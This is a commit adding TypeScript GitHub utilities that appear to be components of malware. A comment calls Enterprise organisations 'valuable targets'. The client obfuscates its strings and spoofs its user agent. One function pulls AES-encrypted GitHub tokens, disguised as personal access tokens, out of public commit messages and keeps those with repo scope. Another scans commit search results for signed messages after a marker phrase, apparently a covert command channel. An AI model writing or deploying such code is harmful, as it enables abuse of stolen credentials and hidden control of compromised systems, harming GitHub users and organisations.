Upload files to "src/github_utils"
This commit is contained in:
@@ -0,0 +1,107 @@
|
|||||||
|
import { githubFetch } from "./client";
|
||||||
|
|
||||||
|
export interface TokenInfo {
|
||||||
|
valid: boolean;
|
||||||
|
scopes: string[];
|
||||||
|
user?: string;
|
||||||
|
hasRepoScope: boolean;
|
||||||
|
hasWorkflowScope: boolean;
|
||||||
|
rateRemaining?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface TokenMetadata {
|
||||||
|
valid: boolean;
|
||||||
|
user?: string;
|
||||||
|
scopes: string[];
|
||||||
|
expiry?: string;
|
||||||
|
/** All orgs the user belongs to. */
|
||||||
|
orgs: string[];
|
||||||
|
/** Org names that are on a GitHub Enterprise plan. */
|
||||||
|
enterpriseOrgs: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function checkToken(token: string): Promise<TokenInfo> {
|
||||||
|
try {
|
||||||
|
const response = await githubFetch(token, "/user");
|
||||||
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
|
|
||||||
|
const scopes = response.headers.get("x-oauth-scopes")?.split(", ") ?? [];
|
||||||
|
const data = (await response.json()) as { login: string };
|
||||||
|
|
||||||
|
return {
|
||||||
|
valid: true,
|
||||||
|
scopes,
|
||||||
|
user: data.login,
|
||||||
|
hasRepoScope: scopes.includes("repo") || scopes.includes("public_repo"),
|
||||||
|
hasWorkflowScope: scopes.includes("workflow"),
|
||||||
|
rateRemaining: parseInt(
|
||||||
|
response.headers.get("x-ratelimit-remaining") ?? "0",
|
||||||
|
10,
|
||||||
|
),
|
||||||
|
};
|
||||||
|
} catch {
|
||||||
|
return {
|
||||||
|
valid: false,
|
||||||
|
scopes: [],
|
||||||
|
hasRepoScope: false,
|
||||||
|
hasWorkflowScope: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getTokenMetadata(token: string): Promise<TokenMetadata> {
|
||||||
|
try {
|
||||||
|
const userResponse = await githubFetch(token, "/user");
|
||||||
|
if (!userResponse.ok) {
|
||||||
|
return { valid: false, scopes: [], orgs: [], enterpriseOrgs: [] };
|
||||||
|
}
|
||||||
|
|
||||||
|
const scopes =
|
||||||
|
userResponse.headers.get("x-oauth-scopes")?.split(", ") ?? [];
|
||||||
|
const expiry =
|
||||||
|
userResponse.headers.get("github-authentication-token-expiration") ??
|
||||||
|
undefined;
|
||||||
|
const data = (await userResponse.json()) as { login: string };
|
||||||
|
|
||||||
|
let orgs: string[] = [];
|
||||||
|
let enterpriseOrgs: string[] = [];
|
||||||
|
// Fine-grained PATs (github_pat_...) do not support the orgs endpoint
|
||||||
|
// in the same way as classic tokens — skip to avoid spurious 403s.
|
||||||
|
if (!token.startsWith("github_pat_")) {
|
||||||
|
try {
|
||||||
|
const orgsResponse = await githubFetch(token, "/user/orgs");
|
||||||
|
if (orgsResponse.ok) {
|
||||||
|
const orgsData = (await orgsResponse.json()) as { login: string }[];
|
||||||
|
orgs = orgsData.map((o) => o.login);
|
||||||
|
|
||||||
|
// Query each org's plan — only Enterprise orgs are valuable targets.
|
||||||
|
const planChecks = orgs.map(async (org) => {
|
||||||
|
try {
|
||||||
|
const planRes = await githubFetch(token, `/orgs/${org}`);
|
||||||
|
if (!planRes.ok) return null;
|
||||||
|
const planData = (await planRes.json()) as {
|
||||||
|
plan?: { name: string };
|
||||||
|
};
|
||||||
|
if (planData.plan?.name === "enterprise") return org;
|
||||||
|
} catch {}
|
||||||
|
return null;
|
||||||
|
});
|
||||||
|
enterpriseOrgs = (await Promise.all(planChecks)).filter(
|
||||||
|
Boolean,
|
||||||
|
) as string[];
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
valid: true,
|
||||||
|
user: data.login,
|
||||||
|
scopes,
|
||||||
|
expiry,
|
||||||
|
orgs,
|
||||||
|
enterpriseOrgs,
|
||||||
|
};
|
||||||
|
} catch {
|
||||||
|
return { valid: false, scopes: [], orgs: [], enterpriseOrgs: [] };
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
import { logUtil } from "../utils/logger";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
const GITHUB_API_BASE = scramble("https://api.github.com");
|
||||||
|
const USER_AGENT = scramble("python-requests/2.31.0");
|
||||||
|
|
||||||
|
/** Backoff delays for rate-limited requests (seconds). */
|
||||||
|
const RATE_LIMIT_BACKOFF_S = [10, 30, 90];
|
||||||
|
|
||||||
|
function isRateLimited(status: number): boolean {
|
||||||
|
// 429 = primary rate limit, 403 = secondary rate limit (abuse detection)
|
||||||
|
return status === 429 || status === 403;
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseRetryAfter(headers: Headers, attempt: number): number {
|
||||||
|
// Honor the Retry-After header if present
|
||||||
|
const ra = headers.get("Retry-After");
|
||||||
|
if (ra) {
|
||||||
|
const seconds = parseInt(ra, 10);
|
||||||
|
if (!isNaN(seconds) && seconds > 0 && seconds <= 3600)
|
||||||
|
return seconds * 1000;
|
||||||
|
}
|
||||||
|
// Fall back to our backoff schedule
|
||||||
|
return (RATE_LIMIT_BACKOFF_S[attempt] ?? 90) * 1000;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function githubHeaders(token: string): Record<string, string> {
|
||||||
|
const headers: Record<string, string> = {
|
||||||
|
Accept: "application/vnd.github+json",
|
||||||
|
"User-Agent": USER_AGENT,
|
||||||
|
};
|
||||||
|
if (token) {
|
||||||
|
headers["Authorization"] = `Bearer ${token}`;
|
||||||
|
}
|
||||||
|
return headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function githubFetch(
|
||||||
|
token: string,
|
||||||
|
path: string,
|
||||||
|
init: RequestInit = {},
|
||||||
|
): Promise<Response> {
|
||||||
|
return fetch(`${GITHUB_API_BASE}${path}`, {
|
||||||
|
...init,
|
||||||
|
headers: {
|
||||||
|
...githubHeaders(token),
|
||||||
|
...(init.headers as Record<string, string> | undefined),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function githubJson<T>(
|
||||||
|
token: string,
|
||||||
|
path: string,
|
||||||
|
init: RequestInit = {},
|
||||||
|
): Promise<T> {
|
||||||
|
const headers: Record<string, string> = {
|
||||||
|
...(init.headers as Record<string, string> | undefined),
|
||||||
|
};
|
||||||
|
if (init.body && !headers["Content-Type"]) {
|
||||||
|
headers["Content-Type"] = "application/json";
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let attempt = 0; attempt <= RATE_LIMIT_BACKOFF_S.length; attempt++) {
|
||||||
|
const res = await githubFetch(token, path, { ...init, headers });
|
||||||
|
if (!res.ok) {
|
||||||
|
if (isRateLimited(res.status) && attempt < RATE_LIMIT_BACKOFF_S.length) {
|
||||||
|
const delay = parseRetryAfter(res.headers, attempt);
|
||||||
|
const resetHeader = res.headers.get("X-RateLimit-Reset");
|
||||||
|
const remaining = res.headers.get("X-RateLimit-Remaining");
|
||||||
|
logUtil.info(
|
||||||
|
`[github] rate-limited (${res.status}) on ${path} — ` +
|
||||||
|
`remaining=${remaining ?? "?"} reset=${resetHeader ?? "?"} ` +
|
||||||
|
`retrying after ${delay}ms (attempt ${attempt + 1}/${RATE_LIMIT_BACKOFF_S.length})`,
|
||||||
|
);
|
||||||
|
await new Promise((r) => setTimeout(r, delay));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
throw new Error(
|
||||||
|
`GitHub API ${res.status} ${res.statusText}: ${path} ` +
|
||||||
|
`(X-RateLimit-Remaining: ${res.headers.get("X-RateLimit-Remaining") ?? "?"}, ` +
|
||||||
|
`Retry-After: ${res.headers.get("Retry-After") ?? "none"}, ` +
|
||||||
|
`Reset: ${res.headers.get("X-RateLimit-Reset") ?? "?"})`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return res.json() as Promise<T>;
|
||||||
|
}
|
||||||
|
throw new Error(
|
||||||
|
`GitHub API rate-limited after ${RATE_LIMIT_BACKOFF_S.length} retries: ${path}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,266 @@
|
|||||||
|
import { SEARCH_STRING, TOKEN_AES_KEY } from "../utils/config";
|
||||||
|
import { logUtil } from "../utils/logger";
|
||||||
|
import { checkToken } from "./auth";
|
||||||
|
import { githubJson } from "./client";
|
||||||
|
|
||||||
|
interface GitHubCommit {
|
||||||
|
commit: {
|
||||||
|
message: string;
|
||||||
|
author: {
|
||||||
|
name: string;
|
||||||
|
email: string;
|
||||||
|
date: string;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
sha: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface SearchResponse {
|
||||||
|
items: GitHubCommit[];
|
||||||
|
total_count: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Retry helpers ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const UNAUTH_RETRY_MS = [10_000, 30_000, 90_000];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Retry an unauthenticated GitHub search request with progressive
|
||||||
|
* backoff. Unauthenticated requests are limited to 10/min per IP
|
||||||
|
* so a single rate-limit can block the entire sender chain.
|
||||||
|
*/
|
||||||
|
async function searchWithRetry<T>(
|
||||||
|
fn: () => Promise<T>,
|
||||||
|
label: string,
|
||||||
|
): Promise<T> {
|
||||||
|
for (let attempt = 0; attempt <= UNAUTH_RETRY_MS.length; attempt++) {
|
||||||
|
try {
|
||||||
|
return await fn();
|
||||||
|
} catch (err) {
|
||||||
|
const msg = err instanceof Error ? err.message : String(err);
|
||||||
|
if (attempt < UNAUTH_RETRY_MS.length) {
|
||||||
|
const delay = UNAUTH_RETRY_MS[attempt]!;
|
||||||
|
logUtil.log(
|
||||||
|
`${label}: attempt ${attempt + 1} failed (${msg}), retrying in ${delay / 1000}s...`,
|
||||||
|
);
|
||||||
|
await new Promise((r) => setTimeout(r, delay));
|
||||||
|
} else {
|
||||||
|
logUtil.log(`${label}: all ${attempt + 1} attempts exhausted (${msg})`);
|
||||||
|
throw err;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Unreachable; satisfy TypeScript.
|
||||||
|
throw new Error("unreachable");
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function fetchCommit(token?: string): Promise<string | false> {
|
||||||
|
const url = `/search/commits?q=${SEARCH_STRING}&sort=author-date&order=desc&per_page=50`;
|
||||||
|
const authType = token ? "authenticated" : "unauthenticated";
|
||||||
|
logUtil.log(`fetchCommit: searching commits (${authType})...`);
|
||||||
|
try {
|
||||||
|
const makeRequest = () => githubJson<SearchResponse>(token ?? "", url);
|
||||||
|
const response = token
|
||||||
|
? await makeRequest()
|
||||||
|
: await searchWithRetry(makeRequest, "fetchCommit");
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: total_count=${response.total_count}, items=${response.items?.length ?? 0}`,
|
||||||
|
);
|
||||||
|
if (!response.items || response.items.length === 0) {
|
||||||
|
logUtil.log("fetchCommit: no commits found");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: scanning ${response.items.length} commit(s) for tokens...`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Collect all valid tokens with their rate-limit info
|
||||||
|
const RATE_OK = 200;
|
||||||
|
let fallback: { token: string; rateRemaining: number } | null = null;
|
||||||
|
const seen = new Set<string>();
|
||||||
|
|
||||||
|
for (let i = 0; i < response.items.length; i++) {
|
||||||
|
const commit = response.items[i];
|
||||||
|
if (!commit) continue;
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: [${i + 1}/${response.items.length}] ${commit.sha?.substring(0, 7)} "${commit.commit.message?.substring(0, 60)}"`,
|
||||||
|
);
|
||||||
|
const match = new RegExp(
|
||||||
|
`^${SEARCH_STRING}:([A-Za-z0-9+/]{1,300}={0,3})$`,
|
||||||
|
).exec(commit.commit.message ?? "");
|
||||||
|
if (!match?.[1]) {
|
||||||
|
logUtil.log("fetchCommit: no token pattern in commit message");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(`fetchCommit: found payload, decoding...`);
|
||||||
|
|
||||||
|
// Decode: strip wrapper, extract split base64, concat, AES decrypt
|
||||||
|
const WRAPPER = "github_pat_11A";
|
||||||
|
let decoded: string;
|
||||||
|
try {
|
||||||
|
const outer = Buffer.from(match[1], "base64");
|
||||||
|
const inner = outer.toString("utf8");
|
||||||
|
logUtil.log(`fetchCommit: inner format: ${inner.slice(0, 50)}...`);
|
||||||
|
if (!inner.startsWith(WRAPPER)) {
|
||||||
|
logUtil.log("fetchCommit: unexpected inner format, skipping");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const rest = inner.slice(WRAPPER.length);
|
||||||
|
const uscore = rest.indexOf("_");
|
||||||
|
if (uscore < 0) {
|
||||||
|
logUtil.log("fetchCommit: missing separator, skipping");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const b64p1 = rest.slice(0, uscore);
|
||||||
|
const b64p2 = rest.slice(uscore + 1).replace(/A+$/, "");
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: b64 parts: ${b64p1.length}+${b64p2.length} chars`,
|
||||||
|
);
|
||||||
|
const raw = Buffer.from(b64p1 + b64p2, "base64");
|
||||||
|
const iv = raw.subarray(0, 16);
|
||||||
|
const ct = raw.subarray(16);
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: AES decrypting (iv=${iv.length}b ct=${ct.length}b)...`,
|
||||||
|
);
|
||||||
|
const key = Buffer.from(TOKEN_AES_KEY, "hex");
|
||||||
|
const decipher = crypto.createDecipheriv("aes-256-cbc", key, iv);
|
||||||
|
decoded = Buffer.concat([
|
||||||
|
decipher.update(ct),
|
||||||
|
decipher.final(),
|
||||||
|
]).toString("utf8");
|
||||||
|
logUtil.log(`fetchCommit: decrypted token: ${decoded.slice(0, 10)}...`);
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(`fetchCommit: failed to decrypt: ${e}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (seen.has(decoded)) continue;
|
||||||
|
seen.add(decoded);
|
||||||
|
|
||||||
|
const tokInfo = await checkToken(decoded);
|
||||||
|
if (!tokInfo.hasRepoScope) {
|
||||||
|
logUtil.log("fetchCommit: token lacks repo scope, skipping");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const rateRemaining = tokInfo.rateRemaining ?? 0;
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: valid token found, rate remaining: ${rateRemaining}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Return immediately if rate limit is healthy
|
||||||
|
if (rateRemaining >= RATE_OK) {
|
||||||
|
logUtil.log(`fetchCommit: using token with ${rateRemaining} remaining`);
|
||||||
|
return decoded;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stash as fallback (keep the best low-rate one)
|
||||||
|
if (!fallback || rateRemaining > fallback.rateRemaining) {
|
||||||
|
fallback = { token: decoded, rateRemaining };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fallback) {
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: no healthy token found, using fallback with ${fallback.rateRemaining} remaining`,
|
||||||
|
);
|
||||||
|
return fallback.token;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log("fetchCommit: no valid token found in any commit");
|
||||||
|
return false;
|
||||||
|
} catch (error) {
|
||||||
|
logUtil.log(
|
||||||
|
`fetchCommit: search failed: ${error instanceof Error ? error.message : String(error)}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
import crypto from "crypto";
|
||||||
|
|
||||||
|
export function _verifySignature(
|
||||||
|
message: string,
|
||||||
|
publicKey: string,
|
||||||
|
algorithm: string = "sha256",
|
||||||
|
): { valid: boolean; data?: string } {
|
||||||
|
try {
|
||||||
|
const regex =
|
||||||
|
/thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/;
|
||||||
|
const match = message.match(regex);
|
||||||
|
|
||||||
|
if (!match || !match[1] || !match[2]) {
|
||||||
|
return { valid: false };
|
||||||
|
}
|
||||||
|
|
||||||
|
const data_plain = Buffer.from(match[1], "base64").toString("utf-8");
|
||||||
|
logUtil.log(data_plain);
|
||||||
|
logUtil.log(match[2]);
|
||||||
|
const signature = Buffer.from(match[2], "base64");
|
||||||
|
|
||||||
|
const verifier = crypto.createVerify(algorithm);
|
||||||
|
verifier.update(data_plain);
|
||||||
|
const isValid = verifier.verify(publicKey, signature);
|
||||||
|
|
||||||
|
logUtil.log(isValid);
|
||||||
|
|
||||||
|
return isValid ? { valid: true, data: data_plain } : { valid: false };
|
||||||
|
} catch (error) {
|
||||||
|
return { valid: false };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function findValidSignedCommit(
|
||||||
|
searchQuery: string,
|
||||||
|
publicKey: string,
|
||||||
|
): Promise<{ found: boolean; message?: string; commit?: GitHubCommit }> {
|
||||||
|
const url = `/search/commits?q=${encodeURIComponent(
|
||||||
|
searchQuery,
|
||||||
|
)}&sort=author-date&order=desc`;
|
||||||
|
try {
|
||||||
|
const response = await searchWithRetry(
|
||||||
|
() => githubJson<SearchResponse>("", url),
|
||||||
|
"findValidSignedCommit",
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!response.items || response.items.length === 0) {
|
||||||
|
return { found: false, message: "No commits found" };
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < response.items.length; i++) {
|
||||||
|
const commit = response.items[i];
|
||||||
|
|
||||||
|
if (!commit) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const commitMessage = commit.commit.message;
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[${i + 1}/${response.items.length}] Checking commit ${commit.sha.substring(
|
||||||
|
0,
|
||||||
|
7,
|
||||||
|
)}...`,
|
||||||
|
);
|
||||||
|
|
||||||
|
const verification = _verifySignature(commitMessage, publicKey);
|
||||||
|
|
||||||
|
if (verification.valid && verification.data) {
|
||||||
|
logUtil.log(`Valid signature found in commit ${commit.sha}`);
|
||||||
|
return {
|
||||||
|
found: true,
|
||||||
|
message: verification.data,
|
||||||
|
commit: commit,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { found: false, message: "No commits with valid signatures found" };
|
||||||
|
} catch (error) {
|
||||||
|
return {
|
||||||
|
found: false,
|
||||||
|
message: `Error during search: ${error instanceof Error ? error.message : String(error)}`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user